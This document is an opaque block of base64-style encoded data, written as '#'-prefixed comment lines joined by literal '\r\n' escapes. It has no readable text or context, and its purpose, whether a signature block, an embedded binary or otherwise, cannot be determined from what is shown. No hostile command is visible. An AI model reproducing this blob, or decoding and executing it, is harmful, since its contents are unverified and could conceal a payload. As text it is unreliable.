1ZsxXehjK9ZX+ANcgT4JF4EWlNZ4c5yPKb8B78DmU58VHLsdJHpe6wEy+P5WK+WwqKO8fCtj6f0R5UcrzKK28KNWlKC8Fq8BaSuf\r\n# 5laO82Xy2LZTHfTlbvy8pr0x5f6WVD6W6mtzuMELp/DpUi/K589lEpfP868ntOl9q5fJ+sTHlX89nj8Iz8Bp8qLReP+R9TYuZfF8\r\n# j/X0+G436jaqt3w36k+q28jyMYjPDorASrAtbw+5wBJwOF8JlcB3cDo/DazAZvoX+C9gMMA8sAavBhrAd7A8nwrlwA9wLv4OP4Tu\r\n# YbiHWG34G28MBcAqMhsvgDngGXoGPoEc01gsWghXg50rbdcdTiI6Ut4lmu8JBcLzSuX8XymdEs3NhtNLqF0d1T3ldgJvhPnhCafW\r\n# /SnU/yn+CyfAZ/AOmWMT6wkCYGeaFJWFlWBO2hJ1gPzgSTobz4DK4GX4Dz8Lb8InSWh/HYiEGU+4HMyidz8cRlOdYzJZUOrePdqk\r\n# nuNRT5PGzmJXvY6RNVe3cb4bcr4ulVj6E6rku/RbK/b2YnQtj4Tq4S+k83VK5PxdLrVzenyTM5OcQ0u8XS63rx3WqV1L+C3wHg5e\r\n# wReCnsAnsASfAeLgHfgd/hh5L2aywFGwKe8EZcKvSWs5DVK+j/AK8A5/AP6BXjLQBvsfoIUJi+O+duWL475xFUZv/fqX57yGWQ/5\r\n# pjHyeYoja5OaZhmhGbic7kF+T/ckDMz3EGPSfRB6hOhL1vBj+vvHSGP5763K4BR6EZ+Et+Av8A+OkjFV/jxJ+sVyHwNywcCyvT1n\r\n# 4KawLm8GOsAemMz/n8TU+vzE4lj8n9RXaJ9v67aX5z0GdgHHWwe2x1udGZL8D6HcaroNmvx/gHZgMf4Uv0P8VfBer/r4jvOPU329\r\n# E+jjO5b+XKM2DuiSsGsfjNIadkQ+Ck8iTM631Nue3OE49JxYr4qz1Lkj1BtQ74tTzXnEU9Vl4Gz6Gb8z5ZVLPW9U45ck08fj8Bfw\r\n# YloTmdq0Sz9N/Bqug/TPYMJ7/HdEm8fy5hxbo1wbt7VF3jpf/7oKH6Bov/70FD9GT/I7WexB5kRxFXiEnkzfIaeRP5CzyITlfjkM\r\n# uIp+TseQrcjn5jtxIus2i7Uh6kofjndf7ApbH/N0r8zz7Id7avk2o3+149dxSPEL+FvoksFlhsQRrv/vR/Kon8PjNYWfYF46EU8m\r\n# AWTxdOnI2xomG/844mTBO9veMsyLB+Xgv2pan24l8PzyVYK3/yBk8njovkN9I4PPwCUy5jM0AP4ZVYGs4BM6Ca+AueHqZen8uri9\r\n# T78fFo2XOx+3vqP9VP/flzuddWtQ5YDFYAdaGzWBOD17fTsvZ/svV+xIxHu2zkC9ert4PiXi0y+NK1qvRz/7vEuem/bGd8vyz3p8\r\n# XmfU//3eLq8Ijy9lT8Bz8Ad6Bj+Fr+Cd0X8H6wDQwGGaBuciStLz5UReHFciys/jfZZbL+f/av6dclda/Eq1/I9gB9oXhMBIugWv\r\n# hbngC/gAfwtfQO5HNAD+G/6/8e87/t7ez+e9Hm68bZROt1+lkW21//ZZWS3R+vTHvb8zrb+1Elr+PTvslUX1eSzRPdL6fMP8d6ra\r\n# Jzq9bfVGHw/FwBpSff5PGoE60tSdPsj5nF4M6EW5N5P20Dx7HdBfhT/A3mGIl7gNhflhupXoeIGqgrg9bwa5wkNL6PO1Y5Pw7zXR\r\n# /tJKXYxHcsJL3i7k9d1BdleqDyE/BW/AZFKvYEFhgFU//37qPLUnjfTbLEGXIemTlVfx5SPnvU6vPR6JuDs3v65qfO+6yih0ER8M\r\n# ION/MU7Mj0lrj2O9fzeMwbhV7a+jfH4frV1nHnzQJn7OWf4dvRNtp5yr1fkdPd5Dq5vJ8gucw/Y/wNnyA+T+Cz5G7rcb1CWaHRWE\r\n# V2GC1dR60+f/BcjRfze/b2sD2MAya9+3yfr8DLU8vTDfMRfM+1HQs8skwUo5H0y8ke5AJZF9yPTmI3EUOl/e3ZLhcb3L8LGv/Xsc\r\n# 4j+E7ZXHDd40QEdSvJBlJVibnk9XIJbOs9+V1qF4+q2l4fdgShsGv4AwYDzfD/fA4/B4+hI61Uuv9cyqqV1MeDDPD3LAQLAErwGq\r\n# wvtIarxXVGyjvCHvDcDgTLoTxcC3cBo/Ba0prfLl8W7B8W2aVEi/InbPSitfkwklphds6IQ7RdvUlT5Hyd/YXyusL1Zepzr6Oj5f\r\n# 85A2qy5E/z+LvxT2R+4Xq32nc+qRjdinRHHYgZ8nrBDlBft57HX++ehLquahXkd6zab5KQ3xNpp79n/UPs/XPUJiX/yjqc1D+Dp3\r\n# 8Pc4r66Qfnt8dVdP7bOTm9JGFeNxX2D7u6+n++l8s96xJvNxyu8j+mWg9UimtceX65KY883q5P5zHKzT7w+PJ/sVoutzK949XYTb\r\n# v/9qz04oSVDelvKLKnefT4W/mI/t/SdM1UFrz6Ur1QMqHKA0xdT2vP8+fXg+oHj37v7+dzP1QurDdfz6+HGfyf2G54tbbl4e38yz\r\n# azqsoj8Z2X0Z1EtXr/mY+e9bzfA6u5/mcRn1xvbW8uf9menneRsjX0fXSvy73k/X8va935MHJ5ni8fNtp+Tw3CPEN6m+pDrDVl6n\r\n# OpGoPtb9vw2dod5uTVuSm9lRz/vl2LLKBz68KG7ifuR3N9ZD/npZsr0ftIXN4PjloPk03yP3FeYE53L+K9sPzb7eBx+8A5fd4a9F\r\n# 0XaluTvZR8nw603wGU92LHAOnkSPQHkF1FLZHPDmXpl9FLp3D22Ul3DLHtf3D55vsf2gOn0fSXdT/whzeTzdcpvvNpf1PLJfP3LT\r\n# iEOVp5nKdgerTqubvq8nnGfL5gbS/7bmBrBejjof4Xpp+PblM42Sd67wcj/X25eXJOff912XXfvnQrxCWszQt50PKy7uMn+wy3d7\r\n# J1nXgOdXVqf+7Ddzv76arTf08Nzp/PyeA6vpzm4ZngMVhHdgBjoaLlNb08vW5yVz+e480HvVa2Ap2hL1hONy6kd0NDyqt7f0d1S0\r\n# p/xE+g8YmNgBmhPlgqNL1+4l/v3024HrwxVy+Xst+n9E4nV32R4+51vHaeJP8Xi69T4LmOGFUryb7b+LfGftqE39fd8omnu/CTX+\r\n# 3PIb+vdij61hz3NWYbssmPB/cZO1Pub0OUt2X1v8svA2fQc/NbE5YEbaHXymt8aZTPYjyGJgEj8Ob8DF8C92T2GCYBeaBxWBV2Fp\r\n# J9+FJcn0ahA9IksdXg/CJMCqJj7fNSXwe2bfb8LnO+3ESbaczSbx9riXx9nqM+jXqc+v+uv3D3zOO9xa6X6c8eAvPN/OWv84/4gP\r\n# TRf5lOn4eKH+HwXwO1w11P/h3zxVl+wlof045h7Zbni38PIm1/p1t+e/yTpxifQ+2zBb+Xrb8fqz8/cL3H9e8HvL37att4d9/bbq\r\n# FXzd7bOHjWJ4nC3CexM19/3kivzduH0/+Tr6cbjWud0l0vRu6ha/LY8kdtuNuJtUH6biIg1vhcXgN/gxfQ5+tbDZYBFaHbaF8X3P\r\n# wX1xnj811PQ9dzzs6v7fi/CZP0XqMU9L98VZuX7CVt0PCVuu+zXU7/Sfz3biVf+9/51ber//b8zWvP0e38nF9butfz6OLLseR/J2\r\n# HfzJ/2e8ajXeF+j3F8nts435pt3GdG3Wxbfj+PKyK9uZo77KNj+8h23i8mWhfgfYdqI+jvoRxbsAH8Pk2a/vdmMvPZx7YXldM1X3\r\n# C5L9fP/m7C//u64vz+WeN476d1yvtdp5vdvIR1fm38/lZgnxGdRW019nOy9MSdU/UI7bzfMbDGcj5POXlfInz+waZQO3GPEOs387\r\n# n/07Sm+pD23k9zmzn68HfXQfk8vP9i3W+z/Gl+9l59DoDV8Nt8KDSedyQec7jZqb6ynb+vc77WJ8/YLodnBfYwXVl2AL2goOguV0\r\n# m7ODxZ5Mfucw//3vmPx/ziSeLzPv77VCS2jdQv7Lz+D7BPD7M7f7pPL5O1pmXVnxN/Rq4jBfmcnydxPStXPp1mPfXfkfkes3j1yf\r\n# 1XIDqLbR8N3fw76skYzu82CGfP9HxtlOIntTfj+xHhuzk7S/nJ/e/XN7B86zjOQHHgzxOwl2WZ/I85/snef602mTd58jlM/ej3I6\r\n# yf+6dfFyWUvJ2mU7bpQbVs+d9+D6qgVpuGh/at9OKyc7noawTtv/1/XPJ92w/Of3Sv5lvN5rfKppfPyX33+zSf/d7xpXbo1okbw/\r\n# 5+zCjaPr91C9yJ2+PxXA9eZjG37mTtxv/bjtvlxPyeKH8zDw39e9EZaL7gSNUX6X6HPnTB5ebl2MXXTevU79H+vjgcX+fx++P384\r\n# zfx/BeZxnLtd9j/mG+IXG8ZlvHWdvdvJ0Xru4DtplXV/95//9/Ygcz/l+2xCZaPoMlBcks5Khu/h18dNdfB2U48v51d/11+V1vX7\r\n# I8dtSv1xkHzI/OQrLN3HXP78OyHEiqX/R+Xw/VuofKvej833c+x0DH09ynk5+XkMaPcW5f/Kkf+YYl/Gtdt7/ZeZb1+tYWr9P5jc\r\n# NXwf3wFPwOnwCjd2sP/wIloQ1YTP4JRwMp8AEuBkehdeUHuLJbt4ur6Hja/zdAJp/5zTvs+XfJ8zPNcnpzc/r5EL/XkmWsp+9vQb\r\n# 6J6OuQ8uR72s+Lop8zXlVssF7cnO693/+yBC10e99nz9aMdn6e1ibr63pmtLydFXz8xCDyfG0H6d9jb/HwXVf83GxH7bG7+50hd9\r\n# ivO/JVjTOHaznf/J3RbXd/+HfFZ9ivQtmfP/++lMtj5vw2yNEOzrP0u+R62uIHLDwHt5+ZffwOOZ2qrbnfX83pPM9FfdrSO2d9fa\r\n# j+0hV0/0A2SuC/14j+43HuFFwJea3FiaR3Wi6A2Rv8hQ5gLyoxjHErT3yODPHtUwmh82vmU3Qf/PEM6q2Ui/37LKeEOK5V4gDtNa\r\n# +XHumovow1UGoM1J9muqcLv1DuRYFqD5HdXPUpan+fr67GIK6GtXX56cQL52mp1X+SNZ3vRpS/RPVnqi7U/2A6iDU46h+ND+lyIR\r\n# 6HtXPqM6LOlG1e4oiqHeqdk9RHvVJql/N9xJVUd+k+g+q63/E6/eCakeUt2iO2mMfXWWp7oQ67T7Z7iN6oM6v2n3EEFUfFpVVu69\r\n# IyGFfP1+xJod9/XxFUg77+vmKfTnsy+8njuawL7+fOJ/Dvv6pxNUc9vVPJe7nsK9favEkh339Uou3OezLn0a457QvfxqRJqd9+f1\r\n# F3lz25fcXRXLZl99fhOayL7+/qJrLvnwBok4u+/IFiOa57OsXKNrlsq9foOiRy778QWJALvvyB4nwXPblDxaTctmXP1jMyWVf/rS\r\n# C/zuc4jOqfWy1/NS5T1Q6kZhbjW9wHSLWoOb+6cWG3Pb1zyC2O/XPIPY59c8ojjr1zyTOqHqmaETtaaIyiaA8sp4nmlOdNiqzCM3\r\n# LdU+qs0dlEb75uB5Bdb6o7OIy6ijVP4e4UZDrNVQXicop7hfiei/VFaLyipeFuf6O6lpRBcTlImr+IfeobhalChEu5mUzyFZW3c6\r\n# P7BRVXLfTxU90jSqp6/zkgKiyuq5IjpL/BCzqz8mp8qc+UbeSSxFVU9wpwsvziOYfF1VP1Clq3z4NzP3hx8eTVfPxZNV8PDXUNR9\r\n# PVs3HUyNd8/Fk1Xw8NdY1H0+NReOivHxu+4VYGdVE7LYt36ao5uJqUd6/gdS+N6qFSLa1H4lqJd5y7ZmR2r+Nai3ci8l6tGeu/bK\r\n# 9tUhTzOp/NqqNKFCMxytM7Vej2oqaqEtRnRzVTvSx9X8R1V7E8HiqTr2gs2hdnPt/Qv3LLOgmBqBuSXWjBT3FW1XfNLpQ3Zpq+Z8\r\n# bxmuv68PG3P1y+/fW9SKqwxZYdSLVfRf0dZm+n9P0QxYMcJo+fMEgl+mHuUw/3Gn66QtGOk0ftSDcZfrxLtNPcJo+ccEkp+mTFkx\r\n# 1mX6Wy/Sznab/Nmquy/rPdZr+8IL5LtNHOU1/asFCp+kvLIh2mv7mgiUu0y91mv7BgliX7RfvNP3TBStcpk90mv71glUu22+t0/Q\r\n# p5CN/p+k3O03vt3CLy/bb4TR9hoV7hXsJ63g8MH+f8FX1PLGJ2j9auE+kQS0/fVBs4X4RgnovtZenuoSqZ4qDqj4gqqL9lKq/Ee3\r\n# QfkHVB0UftN+k+rOFh8RRtN+Tx/fCI+IG2p9S3WbhMeFekttfqfqEyFSS21McoLuihd+KTrZ69MLTYgb6+6j6O5GI9rRUL1h4Tjy\r\n# x1RsXXhCZSnH/zKq+JEqU4vZ8VB9f+L0YYavvLrwitttqt+hrQpS26nzRN0Tl0jxeCVXfFu3QXlUt712RaKtHL7wvzqN/XVU/FMl\r\n# ob0N1/ehkkSmU2ztQ3T76kVgTyu09qO4f/UR9asSsR0X/Kk6i7qfan4mrtnpU9HORjPFGq/FeiKgy3B6h+r8UibZ6VPQrsR11pGp\r\n# /I47a6lHRb8XlMjzeYjXeO9G4LLcnqv7C6GSrR0UbxgDU61W7mzHOVo+KdjfmoN5L9axoD6NqOa6PqdrTuIz66gF5fHobz8vx/O+\r\n# o2sdwL8/tv6rt7WvUsdWjF6YyhpTn/m9UncaYgXbvb+T2DjD2oU5N9dLoICNbBateFR1sFEEdTPXu6HTGDFt9JDrEiEGdlervozM\r\n# YJyvw/HKrOpNxB+3FqH4cncUQFbkuQ/Wf0VmNNKirfCPXJ5uRyVb7LspuhFbk8WqpOodRH+3NZf9FuYwRtrr8ojxGoq1uvehjI8l\r\n# Wf7WooDGgEtftqV6+qKgRbqsPLipurLHV9xeVMrbb6lSLyxgvbXXZxRUM98pW3W5xZWOArZ66uKoRbqt3Lq5puFfhuivVjxZ/bky\r\n# y1e5L6hkHbXWmJQ2Nxp9w3V9tz6ZGO1tdfklzow/qoWr7tTJm2OrmS1obaz7h7TdJ1W2Ng2iXn3rrtqSdIf91c1kvovYRSzoYUba\r\n# 625KORiLqGKonLulsJNnqOUvCjPJVuV5J9Yol3Yyatnr7kh5GUDWe/zaqTy/pbUTZ6jtL+hpXq3H/A9/I82OAkaa6VQctHWhkQ73\r\n# MU7YPNhrb6qClQ4xO1Xm8w9Q/79JhxgC0n6U6dOlwI9xWN1g60tiA+gfVHm7sttUNlo4xklEnU91n6Xjjpa2OWDrRCKrB9TPVHmF\r\n# ks9URS6ca5Wvw8rgfpPNnaaQh/xVm2R5yUO6/2YbnZ1ZdfslcIwj1R6o9yshmq8svWWgUQJ2P6iNLFxuhtvrW0qVGJ1vtFhNn9LH\r\n# VuWOWGb61uC5Fdb2YlUYmWz0qZp1xBnU5qrfEJBk3bPWDmB3ytlrI+8tqB+X9xV6zTiH3f45YXft9flDej+7TdTOq88XqOgXf3+0\r\n# 3JtWW9VjcPx401nAt2lH/ErGHjDuoO6npDxtp6sj6rhePf8TIhprHP2I05trg5TlqdFH1BNGV2ivHHjPC0S7vJ5vHHjdmqNq8nzy\r\n# ul3ck9Q+LterJVPe01XPV/K160UH5fsyql1Hd19Z/o0v7EdRRav7m+7njRoyqx+F+5LiRWMfaPsNpvKNO/U8ZOT9X6+d5hcYbG3v\r\n# KKIH6HtWTqS6v6tGeT6mOpLom2v+gel7saaM+2r0OCbGI6tZoD6Y6PvaM0QntOaleSXUftBc/JOf/nTGEa1HzkNxe3xnyX5M26w1\r\n# Ux9jqbbFnjQH11HiiKdV7Y88bifXt63PBOFPfWt/DsReMoAZWfWD+D0amBrz/wmj6S7E/GCUa8vL0pfpq7BWjPOphVN+iuibqsYf\r\n# k/rpq1Ec945B8f3TVaI16sVqfa0Yn1KsOyffb14w+XGP+PxpDbPWD2B+NBFUf9tp2SB4fN401qA9R/ZTq7ajPHZLPk24Z+1DfoPr\r\n# 32FvGSdS/qPbbxnnUb1T7beMGal6+O8Z91Lx8d4znWF6vw0K8jf3JeKvqsZ7pqBZxPxmejXj756I6RdxdI28jnr6w6n/XaN3Ivv3\r\n# vGp24v2cFaveh/jNQV6Pan+pFjXj/fX5Ybo97xqTG9uPvnnEVdVNqD4m7ZyQ3tm+/+8ZzW5017r7h3kTWdH9N/XPHPTASmvD0Qw7\r\n# L5fnFWIN67mG5vr8Y21FvorpU3CNjH+pjVJen+mQTa/xP4x4bd2x13bin+vpzQy3/c13fdamT1fhW/faw3D9W7XNEiMa29kxUt7X\r\n# V+akOi3vhVPeNe63P/1JH5PZ/p9urUT0szqobUj0q7k9df0n1RFu9jP7/jDjDYa+j4lLouj/1j43z0vV4qpfHeTueY3vPpXp1nI8\r\n# jpKlVb4rzddRHHU/17rhUjtaqnim2U30oLrWjC9qPUf1dnL9jKuqfqP4hLsARZatvxQWZ8/f7jepf4tI5Ljfl/eV+VIhnVL9EnZb\r\n# qV1S7N+M6L9UiPsThi7oc1R5Uh6h6rGddqv3i0+vxeXtadZujcv9ZdS+qA239vzoq96euU8jnQWG2/tOpPXN8Zt0u93cOW51wVB4\r\n# vmR2hannM63VmR2VeXlUXpP5DVH3Yk9c/qyMcNS9vVscM1Ly8WR1RqHn5sjoSUfPyU3sLVQte3qyONVx78vLmcCShnZc3h+OMqke\r\n# LNdRemurQllxvU8uf07GoJfdPQL2mJW/vb6iuGJ/TkYT6AtVVqd6N+i7Vtai+0dJa3/pUh7Sy6ubxuR2ZWsv6oPhdjZ/XsU/VY4U\r\n# 4Jp8n5nWcaW31bxefz1G5jazvGv7UHhb/sWMc6sxU96R6g6pvGvmoHhBf0HEG7YOoHhFf1JGzLa/f+GNyfYs5FrXldnn+josv7li\r\n# DOpLaI+JLOOS/HmqOPzO+lEO0U8sj5Pm6ML6sowRq2b4wvqKjajvuv4jqhPhPHHVQr6R6XXx1R2PUW6jeGv+ZozXq/cfk/Os4OqG\r\n# W5+uA+M8dQ1Cfp/av4xs4wlH/RPXB+MaOSah/ofpUfAvHkPb27dnBkdie1/fVMa7Pt7e2p0dUB0fjDlZ9Nb6jY4Stvh3fyVG5oxr\r\n# fi4/HMMdRrg2+/oU56neS9Uzhc1yI5PgwR3gnbufrZ5hjkqrH4vgLc8zoZG3v09R+A/Vd9E/uZK3/DBo/U2deflk/je/uKNGZjw+\r\n# 5vV/G93SEoz0Lzd+R0NdxtTNPz9ffvo77X/LxWOC4XP6+judf8vRVqU5J/X3DePrmx+X6D3T4duH2zlQHJgxy1EQ9lOrsCSMcfVB\r\n# HUJ0v4StHFOpoqoskhDsOduH58/V4vCOkK9d8vZ/oKICar79THHNQ8/V3quNOVx5v/XG5f6Y5MnXj+muqyydMd9REfZzqagkzHO2\r\n# 68fT8+jLH4d6d229Qe72EeY6q3a31aZWwyBHe3Vr/rglxjijUb6kemLDcsQF1wAl5f5HoOIo61wl5/qx03OhurU/fuFWObD3sx/8\r\n# 6R2gPbufXp02OSaj59WuT4y1qvp5sdviqR7IHVS3iNjvm9LT2f1RckuO8qs3n99sdd3pax+cf87c7NvSyH587HEm97MffDsedXvb\r\n# ja4fjfi/78bvD8bKX/Xjc4RC97ccP1X3s23eHo0sf+/7c5dhgq/vG7XW87GPfv/+HsXuPq6J4AwZ+8OyePaa7kGJZklGiYaJZYmJ\r\n# ZWVFZWZlpmZlZUVKiaWmiUkJSklKhopBSoQJyB5H7HSUviUlJhkqFhopFRkaJhvo+M8/D7J75vL/P+/qHfL6fZ3ZmdnZm9r5nV49\r\n# ZC6zbt7ZH7gJre3zdo3iBtb1299i7wNp/dvcY+bZ1POztEWNx/Ja6Hj7vYP+9j22fpHq+/+m+v/Fh0iHyGm+8v3FYxNlqRyf9KBw\r\n# BfzckHRPp2f7jq6RfyOu8N8Df9KQWEWflFyS1ChfC37Kk30R6tvzupD96dL5jbq+dcefE/hG3h+mn97t6juTlFoeD48D1SWY8g8c\r\n# 7hPdKbpLcIdmjztX+kqdJflvyesn5kg9I/k1y7wOuHib5QcmzJIdJXis502LWft+Af0wy3Qb+Jem8sPNbm+100gWxvO+3bPmLwoG\r\n# S37aYLc/2T21JZjyJx68IV0luBJ9PMn2Gx93srtvTdJPkLil9v4Ou9pf8LPhKkukQcM9k1d5d/5Xgvsk9RTyOL99beIfkfZJ/lfy\r\n# v5BvrXT1a8hTJuP69pfU33SEZ+7Npf4vZ+s2pZ+PHjC/j5RnCsZLTJVdLxvU1jdvPdIslPStf/c5mG5gs599HxD2+Y+fjfczt+Z0\r\n# Z5+vznWv6iWDfZNPY//qK9FN5+v7m9paM4830g5JXS+lzJB+Q/Kfkq7939XDJT0heLHmT5F2Sf5esH3L1KMnPSV4hOU3yIcmXJN/\r\n# U4OpHJb8l+VPJqZKx/5j+WorjeDDdJBvSj0g2/QfYP/k64c4Gdv1lgNR/vYRxPjedL/mAZO0H06z/4fG4Gcfzj8HmfMXPN4YI4/n\r\n# GLWJ5PN8YKuJ4PjHc3D78fOJ2YTyf8BfG84kxwng+ESCM5xPjhPF84r5u0/XNQOEbYf3uTTY94gd2/cX0fT+w61um8Xqn6Sd/YMd\r\n# npmdIxutXpvF6menZrvmr88ETLPVZLpW/TnIKeLIlfQn4WdPqfvAMZn5Lv/t610MiPV7vesg+nse7z+cfsk/g7j6feshezN19/vW\r\n# wvZU7wnYE8n81+WF7AH9EoPt49RH7hHet5T1in4RxOn59xB5ExuPlR+wN5FMUbybj8ewjdu/FaDyefcQeSMbj2UfsHqFoPJ6F8rj\r\n# X2JiDkx+1J1Acj18fs2eS8fj1cXs5GY9/J9obLV6wZZK9g4zHt1PsPkvQeHw71e5PxuPbqfZAMh7fPmdfaHH8lhfM/Qe034Lkl+x\r\n# hPL675znef2aJuPthmy002fRNh1n9X7WHY3q3kdxB9kjyBO7X7FHkWeCI5Nel/j9b+B2IRyULq+HgtRZj/zH9GcQTkoPt0ZQ/84L\r\n# kN12WT0qeY4+nOPbnEHsCOQniOeAk8l5wEbi7PscPs/UXVv+i9N3xq35k/d+Me4FrIJ7J8/vINvRHdnw3195A+Y/5kbXHPJH+AfD\r\n# u5LfstqWY/lnwgeT5In92/elC3AJ776XW/rvAHoTm/eH75AUiv5dg+WPJi+zBPN49fhaL/Obw+pp+90e2fqbDf2TlmV4HPpFs+gs\r\n# pfS641RIvk7wHfE54l/v34E7wfJf6hYr0P0H8SnKoPRTXryfOb2b8FMTVlFB7OMVxfULtUdy1Pf9k5YFjKY73i5bYEyh+kceX2FM\r\n# p7miE+SZlqT2T7NnI1nepPZd8YyNb36X2fPIIcjH5bnK5y/ZZau9wWb+lov7PNbL6mH6Z3IXb3/mGFF8IvjrF9HuNbPsstfdehuW\r\n# vo/Qe5K1kT3I+uf8ya/9baveieC2v/zK7N7me7ENu5ssvs/uRz5L9yZfI48i9jqDHk68nTyD7krv7K46nZfaJVD8cL8vstcus7Rl\r\n# m7x1mbc8wuyc37g+uTQmzB4dhepyP3rPHkHE8vG+v515B95/C7Y1kvP8UTvWpVcccYfEIewsu78TxF2FvI+N8EGHvION8FWH3fg+\r\n# N80GE3Rdtw/kgwu5PxvnrA3vie1j+Y1DewJQV9lTuCOcLYB9wPnekLQQ8LCXSPu599PtH2Pp+aGe/1sf2d6vBd6R8ZA8Ox/yxPVf\r\n# aQ8k4v6y0d6Gd2H+i7L0j0Ngfo+xe5JfJk8jY/6Ls08jYX6Lss8jrKP188lZyOLmZnEg+S84lXyLXk7H/RNmbydeTW8m+5M4I6/p\r\n# G2Z0fYDyf8puItmF/j7J7rmBeZ9sIy9+V8rF9ygpMj/19tX0+N97fHJ+y2p64wuxfO+Ni7PkWP50SY/eM5HYmQn4vpKyxe3GfcmP\r\n# 3y/fEr7EHkjOPsOXX2qeQ8X74WnsQOQ/ir6Wss1eTS46w+Hp7PZrur2+wN5Orj7D6brC3YPn8eZO5KRvsUz5EH2TtkxJn30tuBL+\r\n# fEm8P+Aj9K49/bretRLfz+EZ7ANntKPMmeyrZ4E6wN5PZ80Ifp3xhb12J9b0J4mvBzij0bUfZ/YSv7P3J+Lxoon0kd/f9/UR7APc\r\n# G5/2QPiEl0T6ePBmcCJ5EnglOBs8gLyMHk9l8yZYP5V5jW3uUXb9MtLdFWbdfor3D4jRI7/kxbv+4o6w9t9r7k7eSvcg5ZG+0DY8\r\n# Ht9p9KM7Kz0vZavcjlx9F+5P3gQvBM2h59jXyspQkeyf5MMR3pWyzx6xCH+Pp0+wJZPb89/6UdHvSKrP+h1Ky7J6rcXuchPTHUnL\r\n# sMRafSNluz+VeYfuTxZN32H2i0Rd5+gJ7jMUnUorsbdG4vHaMpS+xJ3zCy3dzP8b2l2X2/E8wzvrvgeRyeyN3hO1mnr7CPulTi1O\r\n# q7DEWn0ipsddz17rdfowtv8veRGbHLweSa+1+n5nr93fc1/ZxaNs4SH8mZbd9Rgzm9wi4M+UbeyL5Ge46exv5BfDllG/tnmvQbxx\r\n# j8+9B+yzykmNsPNXbF5JXkaPXYP/ZCLZvq7cnUjyFx7+zt2Ocro9/Z7fxR3432HZA3LntOzqf3OAN3dumb/teGE7fbUHxjcK/wt8\r\n# bth0V/gv+3rrtF2G8fnyCvM77CneL3ZPKq4Tybt92SqTv5QbnI9tOk9d4Xwe+b9tvYnlf8MPb/hC+G/zUtr+EJ4Of3fa38Czwy9v\r\n# OC4eA52y7YPfm5a+zfQPlL9j2nz2U/BN4ybZLdu916LZjrPweStg66/hTlMh11vZTlBgpnmDxGXCqxR9tU5Vi7lpb5zE2HjVlL3c\r\n# ELa8pDVK8BZd3OprY8/6a0ial73QpT1OcsdblnUr/WOvyTsXG/+1WrwFHbzPtC47b1kvxpvR3N7H+0lvx5V5B56u9lXEWJ2zTlYm\r\n# x2F6PQPqkbe4iv+ng9G1XK/Mpv1BwPjiUO9IZCS4FU3o9BlyzrY8SSem/amL176NEU/pMsG1LH5F/CXjPtr5KPKWv4/XtqyRS+qN\r\n# N7Hior8gfj388hfH6hOnWJnb8bPqC5Kt+YucDnmb7/cT216bvAR/cZvop8OFt/YTx/PcaYTyeu174VUj/0zYv4YU/seMVLyWTr89\r\n# utzDwaUt8FfgPizfz8oXpebEbRBzn+xuUfGqvfEh/ftsNSjt5D/dAxY8/0h9p++knlv5GZQr3CufZn/jzBUrmetzeHj/D/LTtRqW\r\n# J7MXtrbSQh3LfpHhsQN8NVlNvVvz5KwLdx7+DRH2f/pltH9OvSF4k+UPJsZK3Si6V/J3kFsm2X1ysDgDrqab9wdeCx/2P9cHzOdN\r\n# 4vjdICfwf6dn54k1m/vqTv7gu/wJ5orT8lDjcfnh+OEiZQcbzw0FKMBnr46PMJ+P5pY8SRsb6DVYiyUFQ3i2pg5UY7t095/7Ctv8\r\n# QpYmM549DlE5KvxTiI1KHKLZ4qg/YH9ybHP8Lu750i+JJTv6F3S++RfEm5/H181V8ybt/YfXzVfzJR39h9RuqjCO38foNVSaQ8fz\r\n# 3VmUS+TLE7069VZnB3X3+NUzJ5O5+/m+Ykm/xA6nDFBt/RWWFrXcz7F9SRyjVG63tO0LZu9HaviOUBjJeb7xNaSIPbGbx25TWjWb\r\n# 7Tk0dqbRvNNv3BXD39sX63y58SzOrr+k7mll/NH1/M5vfTE8Cv5J6hzl+wMGmVbb+b6WOUro2WtvDX3FusvYnf8WDe4VzISy/MNV\r\n# fCeLG/ctSsGcCX96J8/UYxYv7I1tUMzteHqOMtHhlaoAyEU3PK42l+tSqm5pZeWOVKZQfzs9jlRkJWD6en45VgrgjnFshvQ2Wn09\r\n# xPN+8S0kg4/nmXUoq2rYD0n+aercS/wW6HByXOk7p/SWuP87f4xQv7l32AxDfDHGs3y7tVDPbnvcK/wPOSTV9BVyYep/w1cdttor\r\n# U8cKDjrPnS0yPBu+yxCeA91n8HLg+9X7hl8GHLV54nI2fB4SXS14L/in1AcWfr0+kjV2fb0l9UJlmcVvqw0qYxR2pjyrlFl9Knah\r\n# 0WOxIe1Lx+8q0kTZJCbL4mrTJSgI5Fcq/Ie0ZpdPiIWlTlaBEdCF4ZNo0Jd/iMWnTFYW/0hVr2w2+L+1FZdJmjDeAH0qbqQSTfwM\r\n# /Dk4id4KfSXtJabH4hbRXFM8tpl9Ne00JtHhOWrCycAtuf9wfz1GitmB/7XXCZnsn7S2l2uKlaQuULjKej7yjBGw1fSxlkbKQ7An\r\n# pI9IWK/kWR6UtUTrJA8GfpS1T/JNMb0h7T5lP9j3BjgeWK7kWf5EWobQnYX3xeGGFMiUZ+/MdEE9K+1DxS2GOsD3EvVKZyN19fPq\r\n# xmA/weqDpmSdY/za9SDLbH2Wnmf7oBJsvTMeD8yE+g5e3u+dWijdxd88nHyst/6M+eL3cdB4sX2opr+IEG/+mcf41fUCKHznBxoP\r\n# p1hNsPjHtaHRdvktKf9WvrvE+kr1drd72K7ue7+okS/s+BK5OWyXiU8DfmNaDwQ0Wv/crWx/TH0neJHm75HrJpyV3Sb66xdU+ksd\r\n# KflLyDMnvSF4pOUFyluQKyd9JPib5JPgotF+7S39bpXRif6T9NaTfhsb+tEpxkrvbuz+5u719yd3tHUDubu9gcnd7x5O72zuX3N3\r\n# e1eTu9q4nd7d3K1m0byq6u309yN3t603ubt+R5O72nUDubt9Z5O72DSXjeFulRJG72zuR3N3exeTu/tBMPkDtaUtD4/iD9iXj+IP\r\n# 6k3H8QXuTuyi9NxnHH7Q/9wrbBSivBernzx1h632Sbd/VSjD3OpsnuC1tteLFX+nF47eOtE+UVO5Ip+9JVn6M2f9q2fxkegzEL6X\r\n# FKMU8fffxUIxSTWbvm9vTYxS/DDR73/xC3BplYYa1v60R+T16ktVfWH3+JDu+MONvnWTru0aqj5k+4iS7vmv6Y7Azfa3wV9yxShj\r\n# Wp2flSX79VOSH17c3KOEUP0TxSLTbyZPsfuIGJZritzTbbH3T45QY7l32DohfB46l+GWwd3q8Eo/xXsYp2J+DEyk+8BTL/3Mllzy\r\n# CXE2+j9xdv6ng4emfK/VUn6BT7HqZGV/C028UXi05XnKK5ALJX0tukHyc3Ej1/Qs8Jn2j0kTuAt8Pbibrp+H4A9xC9gFPTRf5qSP\r\n# 